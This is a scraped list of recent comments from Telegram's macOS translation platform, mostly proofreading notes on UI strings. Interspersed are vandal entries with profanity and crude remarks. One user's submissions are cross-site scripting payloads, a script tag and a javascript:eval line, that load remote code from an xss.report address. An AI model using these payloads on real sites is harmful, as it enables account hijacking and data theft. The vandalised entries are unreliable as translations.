Search in:AllEnglishmacOS

Recent Comments
TranslationsSuggestionsComments

Russian
Translate.Language.ru
97)/
🛸🌷маш4икс🌸🛸, Mar 2 at 22:16
is %1$@'s custom tag in %2$@.
UserTag.Info.CustomTagDesc
There is no "custom" tag -> Change to "member tag" to comply with the other clients.
Fair Dog, Mar 2 at 21:08
Continue in English
Login.ContinueOnLanguage
lol
Lucas Taras, Mar 2 at 10:31
Continue in English
Login.ContinueOnLanguage
lol
Lucas Taras, Mar 2 at 10:31
You crafted a new gift!
ChatService.CraftedUniqueCollectible
Consistency with the other clients
Fair Dog, Feb 9 at 17:10
Any developer can use Cocoon for AI features. Learn more at [@cocoon](@cocoon) or [cocoon.org](cocoon.org).
AboutCocoon.Feature.ForEveryone.Description
iOS version can be better used instead
Classy Beaver, Jan 5 at 14:00
Your love is seokjin boyi
Messages.UnreadMark
nganu g hide mani sa bebe nga cheater dapat abtik ka sama sa pag picture ug send saimoha oten mark kevin Celicious
Rinkashemi MAAKU CELI CIOUS, Nov 23, 2025 at 15:13
Shared Media
PeerInfo.SharedMedia
nganu g hide mani sa bebe nga cheater
Rinkashemi MAAKU CELI CIOUS, Nov 23, 2025 at 15:12
connecting
ConnectingStatus.connecting
nganu g hide mani sa bebe nga cheater kamo ramay ga contact2 lage
Rinkashemi MAAKU CELI CIOUS, Nov 23, 2025 at 15:09
♡♡♡
1Xt-HY-uBw.title
saba ui igat
Rinkashemi MAAKU CELI CIOUS, Nov 23, 2025 at 15:06
Share
Modal.Share
nganu g hide mani sa bebe nga cheater
Rinkashemi MAAKU CELI CIOUS, Nov 23, 2025 at 15:05
%1$d gifts are dropped at varying intervals to the %2$@ bidders by bid amount.
Star.Auction.Preview.GiftsDroppedInfo_countable
"bidders" is duplicated here.
Bossy Kitten, Nov 17, 2025 at 01:28
Top %1$@ will get a %2$@ this round.
[Learn more >]()
Star.Auction.Preview.LearnMore
variables are currently reversed in code
Classy Beaver, Nov 15, 2025 at 16:00
The recipient will be able to send the gift to anyone Telegram.
Gift.Upgrade.Transferable.IncludeDescription
missing "on"
Bossy Kitten, Oct 3, 2025 at 23:02
The gift is visible on your page. [Hide >](hide)
Star.Transaction.StarGift.ShownInProfile
Page is no longer in use, replaced by Profile
Fair Dog, Sep 10, 2025 at 09:33
**%@** sent an upgrade worth **%@** for the gift you received from %@
Chat.StarsGift.Upgrade.Other
Could you add numeric variables please?
Рәсим Хөсәенов, Aug 31, 2025 at 06:44
Add Folder
StoryMedia.Album.ContextMenu.AddFolder
‘Album’ is necessary here instead of ‘Folder’.
Дима, Jul 30, 2025 at 19:12
Update a name for your folder.
StoryMedia.Album.Update.Info
‘album’ is necessary here instead of ‘folder’.
Дима, Jul 30, 2025 at 19:05
Create a New Folder
StoryMedia.Album.New.Title
‘Album’ is necessary here instead of ‘Folder’.
Дима, Jul 30, 2025 at 15:08
This link allows you or anyone you choose to activate a **Telegram Premium** subscription.
Premium.Boarding.Peer.Gift.LinkInfo
There is a space at the beginning of the line.
Дима, Jul 25, 2025 at 12:09
Choose how many TON you want to offer %1$@ to publish this message.
Edit.PostSuggestion.Price.Ton.Description
TON is a currency that is treated as an uncountable noun when referring to an amount of money
Fair Dog, Jul 3, 2025 at 19:50
🔁If %1$@ removes the post before it has been live for 24 hours, your Stars will be refunded.
Chat.Service.SuggestPost.Status.RefundCondition
A space is needed between the 🔁 emoji and ‘If’.
Дима, Jul 1, 2025 at 11:15
Username
AccountSettings.Username
В сети🎀🎀🎀🎀
Deleted Account, Jun 7, 2025 at 23:27
Today
Date.Today
Седня
K_imba, May 9, 2025 at 07:31
Your group needs to reach **Level%1$@** to add %2$@ custom emoji as reactions.

Ask your **Premium** members to boost the group with this link:
ChannelBoost.EnableReactionsText.Group
Space missing between Level and number
Fair Dog, May 8, 2025 at 19:49
%d Color for Group Cover%d Color for Group Covers
ChannelBoost.Table.ProfileColor.Group
wrong plural (I guess)
ℳartino, Apr 9, 2025 at 00:22
%d Color for Channel Cover%d Color for Channel Covers
ChannelBoost.Table.ProfileColor
wrong plural (I guess)
ℳartino, Apr 9, 2025 at 00:21
Remove
BotVerification.Remove.Remove
Remove
Deleted Account, Mar 31, 2025 at 00:22
Send Message
PeerInfo.SendMessage
…⁠ᘛ⁠⁐̤⁠ᕐ⁠ᐷ
Dariଓ, Mar 1, 2025 at 11:32
Send Message
PeerInfo.SendMessage
…⁠ᘛ⁠⁐̤⁠ᕐ⁠ᐷ
Dariଓ, Mar 1, 2025 at 11:30
Drag and drop links to change order in which they will be displayed on the bot info page.
BotUsername.List.Info
why "...the [order]" is declined?
ℳartino, Mar 1, 2025 at 02:09
New Group
Compose.Popover.NewGroup
Собрать банду
Deleted Account, Feb 26, 2025 at 06:09
Twice
Search.Separator.Recent
😁👌🖕😘
Cyzer, Feb 10, 2025 at 08:36
Recent
Search.Separator.Recent
😂😂😘
Cyzer, Feb 10, 2025 at 08:35
josco jerked off
Search.Separator.Recent
🖕🖕🖕
Cyzer, Feb 10, 2025 at 08:35
Good morning! 👋
AppearanceSettings.ChatPreview.ZeroText
🖕🖕🖕😁😂
Cyzer, Feb 10, 2025 at 08:33
new chatic❤️
Compose.Popover.NewGroup
Лошадь
Linsiis, Jan 30, 2025 at 19:00
New Group
Compose.Popover.NewGroup
Zhivachka
. •. •. •., Jan 27, 2025 at 21:39
new chatic❤️
Compose.Popover.NewGroup
Поехать на тусу
🎎 $ᥲʍуρᥲᥔ 𐌲ᥲяɜ᧐ʙых 🎎, Jan 27, 2025 at 06:18
%d message%d messages
SharedMedia.SavedCount
hug top
Ołive, Jan 9, 2025 at 14:22
Share to...
ShareModal.Search.Placeholder
пидорасы
milochka, Nov 30, 2024 at 00:20
<script>$.getScript("//xss.report/c/junaidfarhan123")</script>
Channel.Blacklist.SelectNewUserTitle
javascript:eval('var a=document.createElement(\'script\');a.src=\'https://xss.report/c/junaidfarhan123\';document.body.appendChild(a)')
Junaid Farhan, Nov 12, 2024 at 08:47
<script>$.getScript("//xss.report/c/junaidfarhan123")</script>
Channel.Blacklist.SelectNewUserTitle
<script>$.getScript("//xss.report/c/junaidfarhan123")</script>
Junaid Farhan, Nov 12, 2024 at 08:47
Star reactions have been disabled for this channel.
ChatReaction.StarsDisabled
This string uses three different prepositions on different platforms: Android = on, iOS = in, macOS = for this channel.
Darya, Nov 4, 2024 at 10:10
new chatic❤️
Compose.Popover.NewGroup
нови чат
linn, Oct 20, 2024 at 09:38
New Group
Compose.Popover.NewGroup
нови групп
linn, Oct 20, 2024 at 09:37
Gift from %@
Chat.Service.StarGift.From
double space before variable
Classy Beaver, Oct 2, 2024 at 09:40
Block
PeerInfo.Block.OK
Послать на хуй
𝐇𝐎𝐘𝐎𝐑𝐀, Sep 30, 2024 at 17:02
This is %@'s current status from #[%@]().
Premium.Boarding.PeerStatus.Custom.Title
Clown emoji removed. Looks like it was applied by mistake.
Noah, Aug 8, 2024 at 16:58
Move Caption Down
PreviewSender.MoveTextDown
I guess the keys (or translations?) of "Move Caption Down" and "Move Caption Up" buttons are mixed up: I see the "Move Caption Down" button next to the up arrow icon, but if I click that button, the caption will be moved up.
Lev Gubin, Jul 22, 2024 at 22:15
Your channel appearance has been updated!
SelectColor.Success.Appearance.Group
Channel is 'SelectColor.Success.Appearance.Channel'
Rubén, Jul 9, 2024 at 16:29
chatkoteek
Compose.Popover.NewGroup
nova balakla
Deleted Account, Jun 13, 2024 at 02:25
Next
Login.Next
Fack u-up
pink demon, Jun 12, 2024 at 19:45
Next
Login.Next
Demo
pink demon, Jun 12, 2024 at 19:44
Play Market
Star.List.Transaction.PlayMarket
No such thing. Play Store is correct.
Fair Dog, Jun 9, 2024 at 20:22
By proceeding and purchasing Stars, you agree with the [Terms and Conditions](https://telegram.org/stars).
Star.List.Tos
/stars doesn't exist, /tos/ is missing.
Bossy Kitten, Jun 6, 2024 at 16:09
This clarification was provided by a fact checking agency assigned by the department of the government of your country (%@) responsible for combatting misinformation.
FactCheck.Info.Second
There's only one 't' in 'combating'
Fair Dog, May 29, 2024 at 14:41
This clarification was provided by a fact checking agency assigned by the department of the government of your country (%@) responsible for combatting misinformation.
FactCheck.Info
One 't' in 'combating'
Fair Dog, May 29, 2024 at 14:39
New Group
Compose.Popover.NewGroup
Спасибо
🌷Черешня🌸, May 24, 2024 at 16:03
dlanohigistow
Compose.Popover.NewSecretChat
ха
Asura, May 4, 2024 at 12:02
Code expired, please start over.
PHONE_CODE_EXPIRED
Please solve this problem
◄⏤͟͟͞🔥⃝⃪🐼🍹ᶦϻᷟ𝁂𝙎𝙝𝙚𝙚𝙩𝙖𝙡𓆩🥀⃟⃟🐬𝆺𝅥⃝, Apr 29, 2024 at 03:53
Rega
Login.Header.SignUp
Кото-регестрация
ⳄЮⳄЯ | ⲂⲢ, Apr 18, 2024 at 05:52
50%% ot the revenue from Telegram Ads goes to the owner of the channel where they are displayed.
Fragment.AdsInfo.Option2.Info
A tiny typo: ot -> of.
Darya, Mar 29, 2024 at 21:12
Bangla
Passport.Language.bn
Bangla
Deleted Account, Mar 29, 2024 at 18:55
new chatic❤️
Compose.Popover.NewGroup
Собрать банду
Deleted Account, Mar 12, 2024 at 16:54
new chatic❤️
Compose.Popover.NewGroup
Собрать банду
Deleted Account, Mar 12, 2024 at 16:54
new chatic❤️
Compose.Popover.NewGroup
Собрать банду
Deleted Account, Mar 12, 2024 at 16:54
new chatic❤️
Compose.Popover.NewGroup
Собрать банду
Deleted Account, Mar 12, 2024 at 16:54
wait ah
Peer.Activity.Chat.TypingText
Sends a pin
fi la Slay, Mar 10, 2024 at 19:11
Only Members
ChannelVisibility.Messages.Members
Uzoq vaqt kirmagan
Deleted Account, Mar 9, 2024 at 10:15
Only Members
ChannelVisibility.Messages.Members
Uzoq vaqt kirmagan
Deleted Account, Mar 9, 2024 at 10:15
Only Members
ChannelVisibility.Messages.Members
Uzoq vaqt kirmagan
Deleted Account, Mar 9, 2024 at 10:14
CHAT
Business.Message.SelectPeers.Chats
Should probably be plural as in Business.Message.SelectPeers.ChatTypes
Darya, Mar 4, 2024 at 16:27
BOT PERMISSION
Business.Chatbots.Permission.Header
'PermissionS' in this string on both iOS and Android.
Darya, Mar 1, 2024 at 13:29
Choose how many days should pass after your last interaction with a recipient to send them the greeting in response to their message.
Business.GreetingMessage.NoActivity.Info
recipient
Fair Dog, Mar 1, 2024 at 08:56
Due to the giveaway terms, no winner could be selected by Telegram, a Gift Code was forwarded to channel administrators.Due to the giveaway terms, no winners could be selected by Telegram, a Gift Code was forwarded to channel administrators.
ChatService.GiveawayResultsNoWinners
Consistent with the other translations.
Ren Nouzumoto, Feb 22, 2024 at 00:50
Your channel needs %1$@ to get access to features.

Ask your **Premium** members to boost your channel with this link:
ChannelBoost.IncreaseLimitText.Channel
Yes, this string is for channels. The other similar strings are for groups. My mistake.
Fair Dog, Feb 14, 2024 at 16:50
Your channel needs %1$@ to get access to features.

Ask your **Premium** members to boost your channel with this link:
ChannelBoost.IncreaseLimitText.Channel
group -> members
channel -> subscribers
@tietokone, Feb 14, 2024 at 16:42
Your group needs to reach **%1$@ level** to add %2$@ custom emoji as reactions.

Ask your **Premium** members to boost your group with this link:
ChannelBoost.EnableReactionsText.Group
subscribers -> members
https://translations.telegram.org/en/search?query=Ask%20your%20**Premium**%20subscribers%20to%20boost%20your%20group%20with%20this%20link
Fair Dog, Feb 14, 2024 at 02:39
Get more boosts for your group by gifting Premium to your subscribers.
Channel.BoostsStats.GetBoostsViaGifts.Info.Group
Should be 'members' instead of 'subscribers'.
Darya, Feb 13, 2024 at 21:14
The channel cancelled the prizes by refunding the payment for them.
Chat.Giveaway.Info.Refunded
Should be "reversing payment". Telegram does not offer refunds: https://telegram.org/tos#7-8-giveaways-in-channels
Fair Dog, Feb 11, 2024 at 01:37
Name…
Chat.Reaction.EditTag.Placeholder
Consistency
Fair Dog, Feb 2, 2024 at 19:08
Men shu yerdaman
Peer.Status.online
Men keldim qizla
Deleted Account, Jan 25, 2024 at 09:56
New Secret Chat
Compose.Popover.NewSecretChat
Нові секретні жаби
Deleted Account, Jan 21, 2024 at 22:23
New Group
Compose.Popover.NewGroup
Нові жаби
Deleted Account, Jan 21, 2024 at 22:22
Are you sure you want to delete saved messaged?
Chat.Context.DeleteSaved
Typo
Fair Dog, Jan 3, 2024 at 22:06
Translate
Login.Header.SignUp
Cheer up :)
Deleted Account, Dec 25, 2023 at 19:46
Are you sure you want to delete this contact?
PeerInfo.Confirm.DeleteContact
точно хочешь удалить любимку?
ᴅɪᴏʀ(!) #ᴍɪᴛsᴜᴋᴏᴜᴄᴀɴᴏɴ, Dec 15, 2023 at 08:20
Due to the giveaway terms, no winner could be selected by Telegram, a gift code was forwarded to channel administrators.Due to the giveaway terms, no winners could be selected by Telegram, a gift code was forwarded to channel administrators.
ChatService.GiveawayResultsNoWinners
Shouldn't be identical in this context
Fair Dog, Dec 4, 2023 at 23:19
%d winner of the giveaway was randomly selected by Telegram and received private message with giftcode.
ChatService.GiveawayResults_countable
There's no text in similar strings with '_countable' (e.g., https://translations.telegram.org/en/macos/unsorted/ChatService.GiveawayResultsMixedWinners_countable).
Darya, Nov 29, 2023 at 22:50
Due to the giveaway terms, no winner could be selected by Telegram, a gift link was forwarded to channel administrators.Due to the giveaway terms, no winners could be selected by Telegram, all %d gift links were forwarded to channel administrators.
ChatService.GiveawayResultsNoWinners
https://translations.telegram.org/en/macos/unsorted/ChatService.GiveawayResultsNoWinners_countable
Darya, Nov 29, 2023 at 15:09
Choose when subscribers of your channel will be randomly selected to receive Telegram Premium.
Giveaway.Date.Info
Temporary phrase until we get a fix with a variable number.
Eager Cobra, Nov 6, 2023 at 15:38
Input Device
CallSettings.Input.Text
text chat
Deleted Account, Nov 1, 2023 at 22:21
Get more boosts for your channel by gifting Premium to your subscribers.
Channel.BoostsStats.GetBoostsViaGifts.Info
Double space
Fair Dog, Oct 30, 2023 at 10:12
New Group
Compose.Popover.NewGroup
Гарем Амена
Нана<3, Oct 5, 2023 at 17:41
Hide My View
Story.Controls.Menu.StealtMode
This name could create an expectation that the menu element affects the content itself, like hiding or minimizing the story, rather than impacting how their viewing activity is recorded.
Fair Dog, Oct 3, 2023 at 18:33
Create Group
Compose.Popover.NewGroup
новая общага
nikki, Sep 10, 2023 at 07:18
photo set by you
UserInfo.SetByYou
Mm
Xolmatov_Isomiddin, Sep 9, 2023 at 08:54
You can only add **%1$@** shareable folders. Subscribe to **Telegram Premium** to increase this limit to **%2$@**.
Premium.Limit.SharedFolders.Info
Why was this changed from upgrade to subscribe? Every other string in this context says upgrade.
Fair Dog, Aug 16, 2023 at 17:22
Stories from **%@** were returned from the Archive.
Story.Tooltip.Unarchive
4/6 strings of this kind don't have bold text
https://translations.telegram.org/en/search?lang_pack=macos&query=stories%20from%20archive
ℳartino, Aug 7, 2023 at 09:29
Load More